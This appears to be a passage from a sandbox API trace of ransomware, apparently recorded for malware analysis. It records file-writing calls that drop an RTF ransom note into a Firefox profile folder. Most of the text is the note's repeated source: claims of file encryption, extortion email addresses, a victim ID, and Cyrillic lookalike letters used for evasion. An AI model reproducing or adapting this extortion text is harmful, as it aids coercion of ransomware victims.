sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 !\\par\r\nB\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n b\\f1\\lang1049\\'e5\\f0\\lang1033 REST\\f1\\lang1049\\'ce\\f0\\lang1033 RED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'c0\\f0\\lang1033 Y!\\par\r\nW\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h 24/7 \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\n\\cf0\\b0\\fs24\\par\r\n\\cf5\\b\\fs28 BVlu3fKE\\cf0\\f1\\fs32\\lang1049\\par\r\n\r\n\\pard\\sa200\\sl240\\slmult1\\par\r\n}\r\nº¾\x0eó?àÜù¤\x9b\x14i¿Ì\x04oÏáÒr¡/N8\x8bãd^\x19.\x03\x09", lpUsedDefaultChar=0x0) returned 14086 [0035.991] WriteFile (in: hFile=0x168, lpBuffer=0x1da3ea8*, nNumberOfBytesToWrite=0x3706, lpNumberOfBytesWritten=0x390fdbc, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesWritten=0x390fdbc*=0x3706, lpOverlapped=0x0) returned 1 [0035.992] CloseHandle (hObject=0x168) returned 1 [0035.992] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\!bwng_info!.rtf")) returned 0xffffffff [0035.992] GetLastError () returned 0x2 [0035.992] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\indexedDB\\moz-safe-about+home\\idb\\!BWNG_INFO!.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\indexeddb\\moz-safe-about+home\\idb\\!bwng_info!.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x168 [0035.992] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="{\\rtf1\\ansi\\ansicpg1251\\deff0\\nouicompat\\deflang1049{\\fonttbl{\\f0\\fnil\\fcharset0 Calibri;}{\\f1\\fnil\\fcharset204 Calibri;}}\r\n{\\colortbl ;\\red255\\green0\\blue0;\\red155\\green0\\blue211;\\red255\\green255\\blue0;\\red0\\green176\\blue80;\\red255\\green255\\blue255;}\r\n{\\*\\generator Riched20 10.0.15063}\\viewkind4\\uc1 \r\n\\pard\\ri-500\\sa200\\sl240\\slmult1\\qc\\tx8804\\ul\\b\\f0\\fs28\\lang1033 SHIT H\\f1\\lang1049\\'c0\\f0\\lang1033 PPENS!\\ulnone\\f1\\lang1049\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\qc\\tx8378\\f0\\fs24\\lang1033 WE H\\f1\\lang1049\\'c0\\f0\\lang1033 VE T\\f1\\lang1049\\'ce\\f0\\lang1033 INF\\f1\\lang1049\\'ce\\f0\\lang1033 RM Y\\f1\\lang1049\\'ce\\f0\\lang1033 U TH\\f1\\lang1049\\'c0\\f0\\lang1033 T \\f1\\lang1049\\'c0\\f0\\lang1033 LL Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES WERE ENCRYPTED!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf1\\par\r\n\\cf0 PLE\\f1\\lang1049\\'c0\\f0\\lang1033 SE BE SURE, Y\\f1\\lang1049\\'ce\\f0\\lang1033 UR FILES \\f1\\lang1049\\'c0\\f0\\lang1033 RE N\\f1\\lang1049\\'ce\\f0\\lang1033 T BR\\f1\\lang1049\\'ce\\f0\\lang1033 KEN!\\b0\\par\r\n\\i Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d with str\\f1\\lang1049\\'ee\\f0\\lang1033 ng \\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lg\\f1\\lang1049\\'ee\\f0\\lang1033 rithms.\\i0\\par\r\n\\i * Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t th\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 is n\\f1\\lang1049\\'ee\\f0\\lang1033 w\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s with\\f1\\lang1049\\'ee\\f0\\lang1033 ut uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 nd sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 i\\f1\\lang1049\\'e0\\f0\\lang1033 l s\\f1\\lang1049\\'ee\\f0\\lang1033 ftw\\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 . Y\\f1\\lang1049\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 is s\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ur\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'f3\\f0\\lang1033 st\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'ee\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\f0\\lang1033 rv\\f1\\lang1049\\'e5\\f0\\lang1033 r.\\par\r\n* T\\f1\\lang1049\\'ee\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u n\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 d \\f1\\lang1049\\'ee\\f0\\lang1033 ur sp\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 ifi\\f1\\lang1049\\'f1\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ut\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'f1\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 l \\f1\\lang1049\\'e0\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur uniqu\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n k\\f1\\lang1049\\'e5\\'f3\\f0\\lang1033 .\\par\r\n* \\f1\\lang1049\\'c0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s w\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 d but \\f1\\lang1049\\'e0\\f0\\lang1033 ft\\f1\\lang1049\\'e5\\f0\\lang1033 r d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pti\\f1\\lang1049\\'ee\\f0\\lang1033 n pr\\f1\\lang1049\\'ee\\'f1\\'e5\\f0\\lang1033 ss fil\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 s will b\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 d t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 rigin\\f1\\lang1049\\'e0\\f0\\lang1033 l st\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 . D\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 stru\\f1\\lang1049\\'f1\\f0\\lang1033 tur\\f1\\lang1049\\'e5\\f0\\lang1033 will n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e0\\f0\\lang1033 ng\\f1\\lang1049\\'e5\\f0\\lang1033 .\\par\r\n* Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t \\f1\\lang1049\\'e0\\f0\\lang1033 ll th\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e5\\f0\\lang1033 mpts t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur fil\\f1\\lang1049\\'e5\\f0\\lang1033 s b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 urs\\f1\\lang1049\\'e5\\f0\\lang1033 lf \\f1\\lang1049\\'ee\\f0\\lang1033 r using third p\\f1\\lang1049\\'e0\\f0\\lang1033 rt\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\'ee\\f0\\lang1033 ls \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n r\\f1\\lang1049\\'e5\\f0\\lang1033 sult in irr\\f1\\lang1049\\'e5\\f0\\lang1033 v\\f1\\lang1049\\'ee\\'f1\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'ee\\f0\\lang1033 ss \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 !\\b\\i0\\par\r\n\\par\r\nWH\\f1\\lang1049\\'c0\\f0\\lang1033 T D\\f1\\lang1049\\'ce\\f0\\lang1033 Y\\f1\\lang1049\\'ce\\f0\\lang1033 U NEED T\\f1\\lang1049\\'ce\\f0\\lang1033 D\\f1\\lang1049\\'ce\\f0\\lang1033 ?\\par\r\n\\b0 First \\f1\\lang1049\\'ee\\f0\\lang1033 f \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u h\\f1\\lang1049\\'e0\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us b\\f1\\lang1049\\'f3\\f0\\lang1033 \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\par\r\n\r\n\\pard\\sl240\\slmult1\\f1\\lang1049\\'ce\\f0\\lang1033 ur first \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab \\b\\fs28 billwong73@yahoo.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur s\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 nd \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@protonmail.com\\par\r\n\\b0\\f1\\fs24\\lang1049\\'ce\\f0\\lang1033 ur third \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il:\\tab\\tab\\b\\fs28 billwong73@aol.com\\cf1\\fs24\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\par\r\n\r\n\\pard\\sl240\\slmult1\\cf1\\ul\\b\\f1\\fs28\\lang1049\\'c0\\f0\\lang1033 TTENTI\\f1\\lang1049\\'ce\\f0\\lang1033 N!\\par\r\n\\ulnone\\fs26 If \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u w\\f1\\lang1049\\'e0\\f0\\lang1033 nt t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\f1\\lang1049\\'e5\\'f1\\'ee\\f0\\lang1033 v\\f1\\lang1049\\'e5\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur d\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 us t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e5\\f0\\lang1033 -m\\f1\\lang1049\\'e0\\f0\\lang1033 il \\f1\\lang1049\\'e0\\f0\\lang1033 dr\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e5\\f0\\lang1033 s!\\par\r\nIt is r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 ll\\f1\\lang1049\\'f3\\f0\\lang1033 imp\\f1\\lang1049\\'ee\\f0\\lang1033 rt\\f1\\lang1049\\'e0\\f0\\lang1033 nt b\\f1\\lang1049\\'e5\\'f1\\'e0\\f0\\lang1033 us\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 f d\\f1\\lang1049\\'e5\\f0\\lang1033 liv\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 ms with s\\f1\\lang1049\\'ee\\f0\\lang1033 m\\f1\\lang1049\\'e5\\f0\\lang1033 m\\f1\\lang1049\\'e0\\f0\\lang1033 il s\\f1\\lang1049\\'e5\\f0\\lang1033 rvi\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 s!\\par\r\nPl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 b\\f1\\lang1049\\'e5\\f0\\lang1033 sur\\f1\\lang1049\\'e5\\f0\\lang1033 w\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s in t\\f1\\lang1049\\'ee\\f0\\lang1033 u\\f1\\lang1049\\'f1\\f0\\lang1033 h \\f1\\lang1049\\'e0\\f0\\lang1033 nd r\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 d\\f1\\lang1049\\'f3\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 h\\f1\\lang1049\\'e5\\f0\\lang1033 lp \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u!\\par\r\nIf \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u will n\\f1\\lang1049\\'ee\\f0\\lang1033 t r\\f1\\lang1049\\'e5\\'f1\\'e5\\f0\\lang1033 iv\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 nsw\\f1\\lang1049\\'e5\\f0\\lang1033 r in 24 h\\f1\\lang1049\\'ee\\f0\\lang1033 urs, pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 r\\f1\\lang1049\\'e5\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 !\\par\r\n\\cf2\\fs28 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'e0\\f0\\lang1033 lw\\f1\\lang1049\\'e0\\'f3\\f0\\lang1033 s \\f1\\lang1049\\'f1\\f0\\lang1033 h\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 k SP\\f1\\lang1049\\'c0\\f0\\lang1033 M f\\f1\\lang1049\\'ee\\f0\\lang1033 ld\\f1\\lang1049\\'e5\\f0\\lang1033 r!\\par\r\n\r\n\\pard\\ri-74\\sl240\\slmult1\\tx8378\\cf0\\b0\\fs26 * \\i Writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'ee\\f0\\lang1033 n English \\f1\\lang1049\\'ee\\f0\\lang1033 r us\\f1\\lang1049\\'e5\\f0\\lang1033 pr\\f1\\lang1049\\'ee\\f0\\lang1033 f\\f1\\lang1049\\'e5\\f0\\lang1033 ssi\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l tr\\f1\\lang1049\\'e0\\f0\\lang1033 nsl\\f1\\lang1049\\'e0\\f0\\lang1033 t\\f1\\lang1049\\'ee\\f0\\lang1033 r\\i0\\par\r\n\\fs24\\par\r\n\\highlight3\\fs28 In subj\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 t lin\\f1\\lang1049\\'e5\\f0\\lang1033 writ\\f1\\lang1049\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur p\\f1\\lang1049\\'e5\\f0\\lang1033 rs\\f1\\lang1049\\'ee\\f0\\lang1033 n\\f1\\lang1049\\'e0\\f0\\lang1033 l ID: \\b 494DCEE6F0485AF8\\par\r\n\\highlight0\\par\r\nF\\f1\\lang1049\\'ee\\f0\\lang1033 r \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur \\f1\\lang1049\\'e0\\f0\\lang1033 ssur\\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f1\\'e5\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u \\f1\\lang1049\\'f1\\'e0\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 tt\\f1\\lang1049\\'e0\\'f1\\f0\\lang1033 h up t\\f1\\lang1049\\'ee\\f0\\lang1033 3 sm\\f1\\lang1049\\'e0\\f0\\lang1033 ll \\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s t\\f1\\lang1049\\'ee\\f0\\lang1033 \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 ur m\\f1\\lang1049\\'e5\\f0\\lang1033 ss\\f1\\lang1049\\'e0\\f0\\lang1033 g\\f1\\lang1049\\'e5\\f0\\lang1033 . W\\f1\\lang1049\\'e5\\f0\\lang1033 will d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt \\f1\\lang1049\\'e0\\f0\\lang1033 nd s\\f1\\lang1049\\'e5\\f0\\lang1033 nd \\f1\\lang1049\\'f3\\'ee\\f0\\lang1033 u d\\f1\\lang1049\\'e5\\'f1\\f0\\lang1033 r\\f1\\lang1049\\'f3\\f0\\lang1033 pt\\f1\\lang1049\\'e5\\f0\\lang1033 d fil\\f1\\lang1049\\'e5\\f0\\lang1033 s f\\f1\\lang1049\\'ee\\f0\\lang1033 r fr\\f1\\lang1049\\'e5\\'e5\\f0\\lang1033 . \\par\r\n\\i\\f1\\fs24\\lang1049 * \\f0\\lang1033 \\f1\\lang1049 \\f0\\lang1033 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 n\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e5\\f0\\lang1033 th\\f1\\lang1049\\'e0\\f0\\lang1033 t fil\\f1\\lang1049\\'e5\\f0\\lang1033 s must n\\f1\\lang1049\\'ee\\f0\\lang1033 t \\f1\\lang1049\\'f1\\'ee\\f0\\lang1033 nt\\f1\\lang1049\\'e0\\f0\\lang1033 in \\f1\\lang1049\\'e0\\f0\\lang1033 n\\f1\\lang1049\\'f3\\f0\\lang1033 v\\f1\\lang1049\\'e0\\f0\\lang1033 lu\\f1\\lang1049\\'e0\\f0\\lang1033 bl\\f1\\lang1049\\'e5\\f0\\lang1033 inf\\f1\\lang1049\\'ee\\f0\\lang1033 rm\\f1\\lang1049\\'e0\\f0\\lang1033 ti\\f1\\lang1049\\'ee\\f0\\lang1033 n \\f1\\lang1049\\'e0\\f0\\lang1033 nd th\\f1\\lang1049\\'e5\\f0\\lang1033 ir t\\f1\\lang1049\\'ee\\f0\\lang1033 t\\f1\\lang1049\\'e0\\f0\\lang1033 l siz\\f1\\lang1049\\'e5\\f0\\lang1033 must b\\f1\\lang1049\\'e5\\f0\\lang1033 l\\f1\\lang1049\\'e5\\f0\\lang1033 ss th\\f1\\lang1049\\'e0\\f0\\lang1033 n 5Mb. \\par\r\n\\i0\\par\r\n\\cf4\\fs26 Pl\\f1\\lang1049\\'e5\\'e0\\f0\\lang1033 s\\f1\\lang1049\\'e5\\f0\\lang1033 d\\f1\\lang1049\\'ee\\f0\\lang1033 n't w\\f1\\lang1049\\'ee\\f0\\lang1033 rr\\f1\\lang1049\\'f3\\f0\\lang1033 